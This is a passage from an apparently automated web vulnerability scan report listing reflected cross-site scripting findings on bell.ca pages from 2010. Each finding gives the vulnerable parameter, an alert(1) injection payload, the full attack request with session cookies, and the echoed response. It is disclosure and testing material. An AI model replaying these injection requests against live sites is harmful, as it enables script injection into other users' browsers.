Cookie: fsr.s={"v":1,"rid":"1290615130403_684711","ru":"http://burp/show/8","r":"burp","st":"","pv":5,"to":4.5,"c":"https://www.bell.ca/home/Home_L_login.page","lc":{"d1":{"v":5,"s":true}},"cd":1,"sd":1,"f":1290615275159,"pn":1}; __g_c=w%3A1%7Cb%3A6%7Cc%3A276131723871238%7Cd%3A2%7Ca%3A0%7Ce%3A0.05%7Cf%3A0; gemini=region=ON|province=NS|myurl=CSQ|language=en; s_sess=%20s_cc%3Dtrue%3B%20s_sq%3D%3B; fsr.a=1290615213421; ASPSESSIONIDCSTSTDDS=OPMKOGNBGJCJLDJODPIBCNPM; newshoppingcartid=; idevbellca0_s_pers=%20s_vnum%3D1293068635200%2526vn%253D2%7C1293068635200%3B%20s_invisit%3Dtrue%7C1290617076332%3B%20s_lv%3D1290615276335%7C1385223276335%3B%20s_lv_s%3DLess%2520than%25207%2520days%7C1290617076335%3B%20s_pv%3DLogin%7C1290617076349%3B; __g_u=276131723871238_2_0.05_0_5_1290908625687; s_pers=%20s_pv%3Dnb%253Ac%253Acust_care%253Ainternet%253Aco%253Amethod%253Dhome.pagenotfound%2528en-on%2529%7C1290553484352%3B; idevbellca0_s_sess=%20s_cc%3Dtrue%3B%20s_sq%3D%3B; s_vi=[CS]v1|26758E4C051619C1-400001782041DF03[CE]; GEMSESSIONID=2RL4MtsRWqSnhJqxbTYyNvTmpGBwBYqTBGGZKpZ4T5B63rB2rhFY!674249451;

Response (redirected)

HTTP/1.1 200 OK
Connection: close
Date: Wed, 24 Nov 2010 17:07:22 GMT
Server: Microsoft-IIS/6.0
P3P: CP="NON TAIa OUR NOR UNI PRE LOC"
WS: DCOC6T
Cache-Control: no-cache="set-cookie"
Content-Type: text/html; charset=UTF-8
Set-Cookie: GEMSESSIONID=3sZYMtGL6LFmb3VbV6yrhtvqMwTPWlJPXW4hJZyr4GP71hknT5Qq!674249451; domain=.bell.ca; path=/
X-Powered-By: Servlet/2.5 JSP/2.1
Content-Length: 34504


<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN" "http://www.w3.org/TR/html4/strict.dtd">


   <html lang="en">
       

<head>

...[SNIP]...
<!--
window.location = "http://www.bell.ca/shop/Sb_viewLob.page?regionToggle=true&languageToggle=true&lobId=phone&80679";alert(1)//a88b10a106f=1&region=ON";
//-->
...[SNIP]...

2.323. http://www.bell.ca/shop/SmeSol_Web_Hosting_Landing.page [name of an arbitrarily supplied request parameter]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://www.bell.ca
Path:   /shop/SmeSol_Web_Hosting_Landing.page

Issue detail

The name of an arbitrarily supplied request parameter is copied into a JavaScript string which is encapsulated in double quotation marks. The payload affea"%3balert(1)//2ff3c6ab458 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed as affea";alert(1)//2ff3c6ab458 in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.

Remediation detail

Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.

Request

GET /shop/SmeSol_Web_Hosting_Landing.page?affea"%3balert(1)//2ff3c6ab458=1 HTTP/1.1
Host: www.bell.ca
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: fsr.s={"v":1,"rid":"1290615130403_684711","ru":"http://burp/show/8","r":"burp","st":"","pv":5,"to":4.5,"c":"https://www.bell.ca/home/Home_L_login.page","lc":{"d1":{"v":5,"s":true}},"cd":1,"sd":1,"f":1290615275159,"pn":1}; __g_c=w%3A1%7Cb%3A6%7Cc%3A276131723871238%7Cd%3A2%7Ca%3A0%7Ce%3A0.05%7Cf%3A0; gemini=region=ON|province=NS|myurl=CSQ|language=en; s_sess=%20s_cc%3Dtrue%3B%20s_sq%3D%3B; fsr.a=1290615213421; ASPSESSIONIDCSTSTDDS=OPMKOGNBGJCJLDJODPIBCNPM; newshoppingcartid=; idevbellca0_s_pers=%20s_vnum%3D1293068635200%2526vn%253D2%7C1293068635200%3B%20s_invisit%3Dtrue%7C1290617076332%3B%20s_lv%3D1290615276335%7C1385223276335%3B%20s_lv_s%3DLess%2520than%25207%2520days%7C1290617076335%3B%20s_pv%3DLogin%7C1290617076349%3B; __g_u=276131723871238_2_0.05_0_5_1290908625687; s_pers=%20s_pv%3Dnb%253Ac%253Acust_care%253Ainternet%253Aco%253Amethod%253Dhome.pagenotfound%2528en-on%2529%7C1290553484352%3B; idevbellca0_s_sess=%20s_cc%3Dtrue%3B%20s_sq%3D%3B; s_vi=[CS]v1|26758E4C051619C1-400001782041DF03[CE]; GEMSESSIONID=2RL4MtsRWqSnhJqxbTYyNvTmpGBwBYqTBGGZKpZ4T5B63rB2rhFY!674249451;

Response (redirected)

HTTP/1.1 200 OK
Connection: close
Date: Wed, 24 Nov 2010 17:07:09 GMT
Server: Microsoft-IIS/6.0
P3P: CP="NON TAIa OUR NOR UNI PRE LOC"
WS: DCOC6T
Cache-Control: no-cache="set-cookie"
Content-Type: text/html; charset=UTF-8
Set-Cookie: GEMSESSIONID=CvyxMtGdPLBvrR0T6GSvkGrnt1hTNkjVqKPn5FtCD498RQc0vpmy!674249451; domain=.bell.ca; path=/
X-Powered-By: Servlet/2.5 JSP/2.1
Content-Length: 34514


<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN" "http://www.w3.org/TR/html4/strict.dtd">


   <html lang="en">
       

<head>

...[SNIP]...
<!--
window.location = "http://www.bell.ca/shop/Sb_viewLob.page?regionToggle=true&languageToggle=true&lobId=website&affea";alert(1)//2ff3c6ab458=1&region=ON";
//-->
...[SNIP]...

2.324. http://www.bell.ca/shopping/PrsShpGifts_Buy.page [activeModule parameter]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://www.bell.ca
Path:   /shopping/PrsShpGifts_Buy.page

Issue detail

The value of the activeModule request parameter is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 197f2'-alert(1)-'9c86fe6e015 was submitted in the activeModule parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.

Request

GET /shopping/PrsShpGifts_Buy.page?activeModule=wireline197f2'-alert(1)-'9c86fe6e015&activeWorkflow=simpleBuy&FILTER_BRAND=All&wlcs_catalog_item_qty=1&wlcs_catalog_item_sku=65774 HTTP/1.1
Host: www.bell.ca
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: fsr.s={"v":1,"rid":"1290615130403_684711","ru":"http://burp/show/8","r":"burp","st":"","pv":5,"to":4.5,"c":"https://www.bell.ca/home/Home_L_login.page","lc":{"d1":{"v":5,"s":true}},"cd":1,"sd":1,"f":1290615275159,"pn":1}; __g_c=w%3A1%7Cb%3A6%7Cc%3A276131723871238%7Cd%3A2%7Ca%3A0%7Ce%3A0.05%7Cf%3A0; gemini=region=ON|province=NS|myurl=CSQ|language=en; s_sess=%20s_cc%3Dtrue%3B%20s_sq%3D%3B; fsr.a=1290615213421; ASPSESSIONIDCSTSTDDS=OPMKOGNBGJCJLDJODPIBCNPM; newshoppingcartid=; idevbellca0_s_pers=%20s_vnum%3D1293068635200%2526vn%253D2%7C1293068635200%3B%20s_invisit%3Dtrue%7C1290617076332%3B%20s_lv%3D1290615276335%7C1385223276335%3B%20s_lv_s%3DLess%2520than%25207%2520days%7C1290617076335%3B%20s_pv%3DLogin%7C1290617076349%3B; __g_u=276131723871238_2_0.05_0_5_1290908625687; s_pers=%20s_pv%3Dnb%253Ac%253Acust_care%253Ainternet%253Aco%253Amethod%253Dhome.pagenotfound%2528en-on%2529%7C1290553484352%3B; idevbellca0_s_sess=%20s_cc%3Dtrue%3B%20s_sq%3D%3B; s_vi=[CS]v1|26758E4C051619C1-400001782041DF03[CE]; GEMSESSIONID=2RL4MtsRWqSnhJqxbTYyNvTmpGBwBYqTBGGZKpZ4T5B63rB2rhFY!674249451;

Response

HTTP/1.1 200 OK
Connection: close
Date: Wed, 24 Nov 2010 16:42:46 GMT
Server: Microsoft-IIS/6.0
P3P: CP="NON TAIa OUR NOR UNI PRE LOC"
WS: DM3C01
Cache-Control: no-cache="set-cookie"
Content-Type: text/html; charset=UTF-8
Set-Cookie: GEMSESSIONID=6ZXKMtQFln81Bmpn6t2sNCjQMj0hvpXqDhx2JQvFCPJDyZ8m6J4y!674249451; domain=.bell.ca; path=/
X-Powered-By: Servlet/2.5 JSP/2.1
Content-Length: 34809


<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN" "http://www.w3.org/TR/html4/strict.dtd">
   <html lang="en">
       <!-- GPN: QC_DC3CAR_4 -->
       
       <!-- ABValue: true -->

...[SNIP]...
text/javascript">
function gotoProvince(region)
{
   
    location.href = 'http://www.bell.ca/shopping/PrsShpGifts_Buy.page?regionToggle=true&languageToggle=true&activeModule=wireline197f2'-alert(1)-'9c86fe6e015&activeWorkflow=simpleBuy&FILTER_BRAND=All&wlcs_catalog_item_qty=1&wlcs_catalog_item_sku=65774&region=' + region + '&language=en';
   
}

function toggleHide(targetId)
{
if
...[SNIP]...

2.325. http://www.bell.ca/shopping/PrsShpGifts_Buy.page [activeWorkflow parameter]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://www.bell.ca
Path:   /shopping/PrsShpGifts_Buy.page

Issue detail

The value of the activeWorkflow request parameter is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 97c94'-alert(1)-'4e506f8edd was submitted in the activeWorkflow parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.

Request

GET /shopping/PrsShpGifts_Buy.page?activeModule=wireline&activeWorkflow=simpleBuy97c94'-alert(1)-'4e506f8edd&FILTER_BRAND=All&wlcs_catalog_item_qty=1&wlcs_catalog_item_sku=65774 HTTP/1.1
Host: www.bell.ca
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: fsr.s={"v":1,"rid":"1290615130403_684711","ru":"http://burp/show/8","r":"burp","st":"","pv":5,"to":4.5,"c":"https://www.bell.ca/home/Home_L_login.page","lc":{"d1":{"v":5,"s":true}},"cd":1,"sd":1,"f":1290615275159,"pn":1}; __g_c=w%3A1%7Cb%3A6%7Cc%3A276131723871238%7Cd%3A2%7Ca%3A0%7Ce%3A0.05%7Cf%3A0; gemini=region=ON|province=NS|myurl=CSQ|language=en; s_sess=%20s_cc%3Dtrue%3B%20s_sq%3D%3B; fsr.a=1290615213421; ASPSESSIONIDCSTSTDDS=OPMKOGNBGJCJLDJODPIBCNPM; newshoppingcartid=; idevbellca0_s_pers=%20s_vnum%3D1293068635200%2526vn%253D2%7C1293068635200%3B%20s_invisit%3Dtrue%7C1290617076332%3B%20s_lv%3D1290615276335%7C1385223276335%3B%20s_lv_s%3DLess%2520than%25207%2520days%7C1290617076335%3B%20s_pv%3DLogin%7C1290617076349%3B; __g_u=276131723871238_2_0.05_0_5_1290908625687; s_pers=%20s_pv%3Dnb%253Ac%253Acust_care%253Ainternet%253Aco%253Amethod%253Dhome.pagenotfound%2528en-on%2529%7C1290553484352%3B; idevbellca0_s_sess=%20s_cc%3Dtrue%3B%20s_sq%3D%3B; s_vi=[CS]v1|26758E4C051619C1-400001782041DF03[CE]; GEMSESSIONID=2RL4MtsRWqSnhJqxbTYyNvTmpGBwBYqTBGGZKpZ4T5B63rB2rhFY!674249451;

Response

HTTP/1.1 200 OK
Connection: close
Date: Wed, 24 Nov 2010 16:43:16 GMT
Server: Microsoft-IIS/6.0
P3P: CP="NON TAIa OUR NOR UNI PRE LOC"
WS: DM3C01
Cache-Control: no-cache="set-cookie"
Content-Type: text/html; charset=UTF-8
Set-Cookie: GEMSESSIONID=63q3MtQDdrkQsmkCHqynncpt1dyVhWvw4tG10T6WngGBn1sQnLnB!674249451; domain=.bell.ca; path=/
X-Powered-By: Servlet/2.5 JSP/2.1
Content-Length: 34807


<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN" "http://www.w3.org/TR/html4/strict.dtd">
   <html lang="en">
       <!-- GPN: QC_DC3CAR_4 -->
       
       <!-- ABValue: false -->
...[SNIP]...
nction gotoProvince(region)
{
   
    location.href = 'http://www.bell.ca/shopping/PrsShpGifts_Buy.page?regionToggle=true&languageToggle=true&activeModule=wireline&activeWorkflow=simpleBuy97c94'-alert(1)-'4e506f8edd&FILTER_BRAND=All&wlcs_catalog_item_qty=1&wlcs_catalog_item_sku=65774&region=' + region + '&language=en';
   
}

function toggleHide(targetId)
{
if (document.getElementById)
...[SNIP]...

2.326. http://www.bell.ca/shopping/PrsShpGifts_Buy.page [wlcs_catalog_item_sku parameter]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://www.bell.ca
Path:   /shopping/PrsShpGifts_Buy.page

Issue detail

The value of the wlcs_catalog_item_sku request parameter is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 3727f'-alert(1)-'c4b2775a40c was submitted in the wlcs_catalog_item_sku parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.

Request

GET /shopping/PrsShpGifts_Buy.page?activeModule=wireline&activeWorkflow=simpleBuy&FILTER_BRAND=All&wlcs_catalog_item_qty=1&wlcs_catalog_item_sku=657743727f'-alert(1)-'c4b2775a40c HTTP/1.1
Host: www.bell.ca
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: fsr.s={"v":1,"rid":"1290615130403_684711","ru":"http://burp/show/8","r":"burp","st":"","pv":5,"to":4.5,"c":"https://www.bell.ca/home/Home_L_login.page","lc":{"d1":{"v":5,"s":true}},"cd":1,"sd":1,"f":1290615275159,"pn":1}; __g_c=w%3A1%7Cb%3A6%7Cc%3A276131723871238%7Cd%3A2%7Ca%3A0%7Ce%3A0.05%7Cf%3A0; gemini=region=ON|province=NS|myurl=CSQ|language=en; s_sess=%20s_cc%3Dtrue%3B%20s_sq%3D%3B; fsr.a=1290615213421; ASPSESSIONIDCSTSTDDS=OPMKOGNBGJCJLDJODPIBCNPM; newshoppingcartid=; idevbellca0_s_pers=%20s_vnum%3D1293068635200%2526vn%253D2%7C1293068635200%3B%20s_invisit%3Dtrue%7C1290617076332%3B%20s_lv%3D1290615276335%7C1385223276335%3B%20s_lv_s%3DLess%2520than%25207%2520days%7C1290617076335%3B%20s_pv%3DLogin%7C1290617076349%3B; __g_u=276131723871238_2_0.05_0_5_1290908625687; s_pers=%20s_pv%3Dnb%253Ac%253Acust_care%253Ainternet%253Aco%253Amethod%253Dhome.pagenotfound%2528en-on%2529%7C1290553484352%3B; idevbellca0_s_sess=%20s_cc%3Dtrue%3B%20s_sq%3D%3B; s_vi=[CS]v1|26758E4C051619C1-400001782041DF03[CE]; GEMSESSIONID=2RL4MtsRWqSnhJqxbTYyNvTmpGBwBYqTBGGZKpZ4T5B63rB2rhFY!674249451;

Response

HTTP/1.1 200 OK
Connection: close
Date: Wed, 24 Nov 2010 16:43:54 GMT
Server: Microsoft-IIS/6.0
P3P: CP="NON TAIa OUR NOR UNI PRE LOC"
WS: DM3C01
Cache-Control: no-cache="set-cookie"
Content-Type: text/html; charset=UTF-8
Set-Cookie: GEMSESSIONID=2FLyMtQJxJtyYgrNvRLTKKfLyp2gGTRMBdpL0QLhDQ2RvBhdpQhN!674249451; domain=.bell.ca; path=/
X-Powered-By: Servlet/2.5 JSP/2.1
Content-Length: 34540


<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN" "http://www.w3.org/TR/html4/strict.dtd">
   <html lang="en">
       <!-- GPN: QC_DC3CAR_4 -->
       
       <!-- ABValue: true -->

...[SNIP]...
ttp://www.bell.ca/shopping/PrsShpGifts_Buy.page?regionToggle=true&languageToggle=true&activeModule=wireline&activeWorkflow=simpleBuy&FILTER_BRAND=All&wlcs_catalog_item_qty=1&wlcs_catalog_item_sku=657743727f'-alert(1)-'c4b2775a40c&region=' + region + '&language=en';
   
}

function toggleHide(targetId)
{
if (document.getElementById)
{
// this is the way the standards work

...[SNIP]...

2.327. http://www.bell.ca/shopping/PrsShpPromo_Gnl_Move_offers.page [name of an arbitrarily supplied request parameter]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://www.bell.ca
Path:   /shopping/PrsShpPromo_Gnl_Move_offers.page

Issue detail

The name of an arbitrarily supplied request parameter is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 1a0b7'-alert(1)-'2b6dc5c4efb was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.

Request

GET /shopping/PrsShpPromo_Gnl_Move_offers.page?1a0b7'-alert(1)-'2b6dc5c4efb=1 HTTP/1.1
Host: www.bell.ca
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: fsr.s={"v":1,"rid":"1290615130403_684711","ru":"http://burp/show/8","r":"burp","st":"","pv":5,"to":4.5,"c":"https://www.bell.ca/home/Home_L_login.page","lc":{"d1":{"v":5,"s":true}},"cd":1,"sd":1,"f":1290615275159,"pn":1}; __g_c=w%3A1%7Cb%3A6%7Cc%3A276131723871238%7Cd%3A2%7Ca%3A0%7Ce%3A0.05%7Cf%3A0; gemini=region=ON|province=NS|myurl=CSQ|language=en; s_sess=%20s_cc%3Dtrue%3B%20s_sq%3D%3B; fsr.a=1290615213421; ASPSESSIONIDCSTSTDDS=OPMKOGNBGJCJLDJODPIBCNPM; newshoppingcartid=; idevbellca0_s_pers=%20s_vnum%3D1293068635200%2526vn%253D2%7C1293068635200%3B%20s_invisit%3Dtrue%7C1290617076332%3B%20s_lv%3D1290615276335%7C1385223276335%3B%20s_lv_s%3DLess%2520than%25207%2520days%7C1290617076335%3B%20s_pv%3DLogin%7C1290617076349%3B; __g_u=276131723871238_2_0.05_0_5_1290908625687; s_pers=%20s_pv%3Dnb%253Ac%253Acust_care%253Ainternet%253Aco%253Amethod%253Dhome.pagenotfound%2528en-on%2529%7C1290553484352%3B; idevbellca0_s_sess=%20s_cc%3Dtrue%3B%20s_sq%3D%3B; s_vi=[CS]v1|26758E4C051619C1-400001782041DF03[CE]; GEMSESSIONID=2RL4MtsRWqSnhJqxbTYyNvTmpGBwBYqTBGGZKpZ4T5B63rB2rhFY!674249451;

Response

HTTP/1.1 200 OK
Connection: close
Date: Wed, 24 Nov 2010 16:42:03 GMT
Server: Microsoft-IIS/6.0
P3P: CP="NON TAIa OUR NOR UNI PRE LOC"
WS: DM3C01
Cache-Control: no-cache="set-cookie"
Content-Type: text/html; charset=UTF-8
Set-Cookie: GEMSESSIONID=58B1MtQhhxvrDGN4Dss0mLLfwyvk4PJzrv0FqQSV2wnmJcSNqzWD!674249451; domain=.bell.ca; path=/
X-Powered-By: Servlet/2.5 JSP/2.1
Content-Length: 28400

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">


<!-- GPN: QC_DC3CAR_4 -->


<!-- ABValue: true -->


   <html lang="en"
...[SNIP]...
   
    location.href = 'http://www.bell.ca/shopping/PrsShpPromo_Gnl_Move_offers.page?regionToggle=true&languageToggle=true&content=/jsp/page_layouts/promo_2column.jsp&metaKey=PrsShpPromo_Content&1a0b7'-alert(1)-'2b6dc5c4efb=1&region=' + region + '&language=en';
   
}

function toggleHide(targetId)
{
if (document.getElementById)
{
// this is the way the standards work

...[SNIP]...

2.328. http://www.bell.ca/specialneeds/ [name of an arbitrarily supplied request parameter]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://www.bell.ca
Path:   /specialneeds/

Issue detail

The name of an arbitrarily supplied request parameter is copied into a JavaScript string which is encapsulated in single quotation marks. The payload ce9c5'-alert(1)-'7f8934fcfd1 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.

Remediation detail

Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.

Request

GET /specialneeds/?ce9c5'-alert(1)-'7f8934fcfd1=1 HTTP/1.1
Host: www.bell.ca
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Referer: http://www.bell.ca/robots.txt
Cookie: fsr.s={"v":1,"rid":"1290557305061_642285","pv":2,"to":3,"c":"https://www.bell.ca/home/Home_L_login.page","lc":{"d1":{"v":2,"s":false}},"cd":1,"sd":1}; __g_c=w%3A1%7Cb%3A3%7Cc%3A276554216637188%7Cd%3A1%7Ca%3A0%7Ce%3A0.05%7Cf%3A0; gemini=region=ON|province=ON|myurl=CSQ|language=en; s_sess=%20s_cc%3Dtrue%3B%20s_sq%3D%3B; fsr.a=1290557307183; ASPSESSIONIDCSTSTDDS=OPMKOGNBGJCJLDJODPIBCNPM; newshoppingcartid=; idevbellca0_s_pers=%20s_vnum%3D1293149295717%2526vn%253D1%7C1293149295717%3B%20s_invisit%3Dtrue%7C1290559107947%3B%20s_lv%3D1290557307963%7C1385165307963%3B%20s_lv_s%3DFirst%2520Visit%7C1290559107963%3B%20s_pv%3DLogin%7C1290559107978%3B; __g_u=276554216637188_1_0.05_0_5_1290989303641; s_pers=%20s_pv%3Dnb%253Ac%253Acust_care%253Ainternet%253Aco%253Amethod%253Dhome.pagenotfound%2528en-on%2529%7C1290553484352%3B; idevbellca0_s_sess=%20s_cc%3Dtrue%3B%20s_sq%3D%3B; s_vi=[CS]v1|26760A9305013AC2-60000102C000D033[CE]; GEMSESSIONID=1Zf3MtqHvg4638JmHDv1vTdQQrnqQLsfGQPhW6W6t2GmlRrD5Y8X!-765054306;

Response (redirected)

HTTP/1.1 200 OK
Connection: close
Date: Wed, 24 Nov 2010 16:38:11 GMT
Server: Microsoft-IIS/6.0
P3P: CP="NON TAIa OUR NOR UNI PRE LOC"
WS: DCOC6T
Cache-Control: no-cache="set-cookie"
Content-Type: text/html; charset=UTF-8
Set-Cookie: GEMSESSIONID=KVQRMt1TWPTnDrbhpJNF7r2VR5cP8GswQKv0Tv617sK13QVnYQhv!-765054306; domain=.bell.ca; path=/
X-Powered-By: Servlet/2.5 JSP/2.1
Content-Length: 20557

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">


<!-- GPN: QC_DC3CAV_1 -->


<!-- ABValue: false -->


   <html
...[SNIP]...
gion) {
            location.href = 'http://www.bell.ca/accessibilityservices/PrsSN_Landing.page?regionToggle=true&languageToggle=true&content=/resources/templates/PrsSN_GNL_3_C.jsp&metaKey=PrsSN_Landing&ce9c5'-alert(1)-'7f8934fcfd1=1&region=' + region + '&language=en';
        }
       
        //Function for external popups
        function gotoSite(thisUrl, thisWidth,thisHeight,thisTop,thisLeft) {
       
        var url = '/accessibi
...[SNIP]...

2.329. http://www.bell.ca/specialneeds/PrsSN_Landing.page [content parameter]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://www.bell.ca
Path:   /specialneeds/PrsSN_Landing.page

Issue detail

The value of the content request parameter is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 359c4'-alert(1)-'fb39207a99 was submitted in the content parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.

Remediation detail

Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.

Request

GET /specialneeds/PrsSN_Landing.page?language=en&region=ON&languageToggle=true&content=/resources/templates/PrsSN_GNL_3_C.jsp359c4'-alert(1)-'fb39207a99&metaKey=PrsSN_Landing HTTP/1.1
Host: www.bell.ca
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: fsr.s={"v":1,"rid":"1290557305061_642285","pv":2,"to":3,"c":"https://www.bell.ca/home/Home_L_login.page","lc":{"d1":{"v":2,"s":false}},"cd":1,"sd":1}; idevbellca0_s_pers=%20s_vnum%3D1293149295717%2526vn%253D1%7C1293149295717%3B%20s_invisit%3Dtrue%7C1290559107947%3B%20s_lv%3D1290557307963%7C1385165307963%3B%20s_lv_s%3DFirst%2520Visit%7C1290559107963%3B%20s_pv%3DLogin%7C1290559107978%3B; __g_c=w%3A1%7Cb%3A3%7Cc%3A276554216637188%7Cd%3A1%7Ca%3A0%7Ce%3A0.05%7Cf%3A0; idevbellca0_s_sess=%20s_cc%3Dtrue%3B%20s_sq%3D%3B; s_pers=%20s_pv%3Dnb%253Ac%253Acust_care%253Ainternet%253Aco%253Amethod%253Dhome.pagenotfound%2528en-on%2529%7C1290553484352%3B; __g_u=276554216637188_1_0.05_0_5_1290989303641; gemini=region=ON|province=NS|myurl=CSQ|language=en; s_sess=%20s_cc%3Dtrue%3B%20s_sq%3D%3B; fsr.a=1290557307183; s_vi=[CS]v1|26760A9305013AC2-60000102C000D033[CE]; GEMSESSIONID=k0b8MsLCMy42xpGvCvyWVmJNG8ryhbqYGqtbJgPG2yrDwjwh3bzn!-765054306;

Response (redirected)

HTTP/1.1 200 OK
Connection: close
Date: Wed, 24 Nov 2010 01:22:18 GMT
Server: Microsoft-IIS/6.0
P3P: CP="NON TAIa OUR NOR UNI PRE LOC"
WS: DM3CIU
Cache-Control: no-cache="set-cookie"
Content-Type: text/html; charset=UTF-8
Set-Cookie: GEMSESSIONID=TB71MsyJ2d2TTmLLkq4nSBpTB59HwSHTQnGySvFMDwvhwjGL4RpT!-765054306; domain=.bell.ca; path=/
Set-Cookie: gemini=region=ON|province=ON|myurl=CSQ|language=en; domain=.bell.ca; expires=Monday, 12-Dec-2078 04:36:24 GMT; path=/
Set-Cookie: gemini=region=ON|province=ON|myurl=CSQ|language=en; domain=.bell.ca; expires=Monday, 12-Dec-2078 04:36:24 GMT; path=/
Set-Cookie: gemini=region=ON|province=ON|myurl=CSQ|language=en; domain=.bell.ca; expires=Monday, 12-Dec-2078 04:36:24 GMT; path=/
Set-Cookie: gemini=region=ON|province=ON|myurl=CSQ|language=en; domain=.bell.ca; expires=Monday, 12-Dec-2078 04:36:24 GMT; path=/
X-Powered-By: Servlet/2.5 JSP/2.1
Content-Length: 20685

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">


<!-- GPN: QC_DC3CAV_1 -->


<!-- ABValue: true -->


   <html x
...[SNIP]...
ell.ca/accessibilityservices/PrsSN_Landing.page?regionToggle=true&languageToggle=true&content=/resources/templates/PrsSN_GNL_3_C.jsp&metaKey=PrsSN_Landing&content=/resources/templates/PrsSN_GNL_3_C.jsp359c4'-alert(1)-'fb39207a99&metaKey=PrsSN_Landing&region=' + region + '&language=en';
        }
       
        //Function for external popups
        function gotoSite(thisUrl, thisWidth,thisHeight,thisTop,thisLeft) {
       
        v
...[SNIP]...

2.330. http://www.bell.ca/specialneeds/PrsSN_Landing.page [metaKey parameter]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://www.bell.ca
Path:   /specialneeds/PrsSN_Landing.page

Issue detail

The value of the metaKey request parameter is copied into a JavaScript string which is encapsulated in single quotation marks. The payload a8545'-alert(1)-'6952f0cf39f was submitted in the metaKey parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.

Remediation detail

Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.

Request

GET /specialneeds/PrsSN_Landing.page?language=en&region=ON&languageToggle=true&content=/resources/templates/PrsSN_GNL_3_C.jsp&metaKey=PrsSN_Landinga8545'-alert(1)-'6952f0cf39f HTTP/1.1
Host: www.bell.ca
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
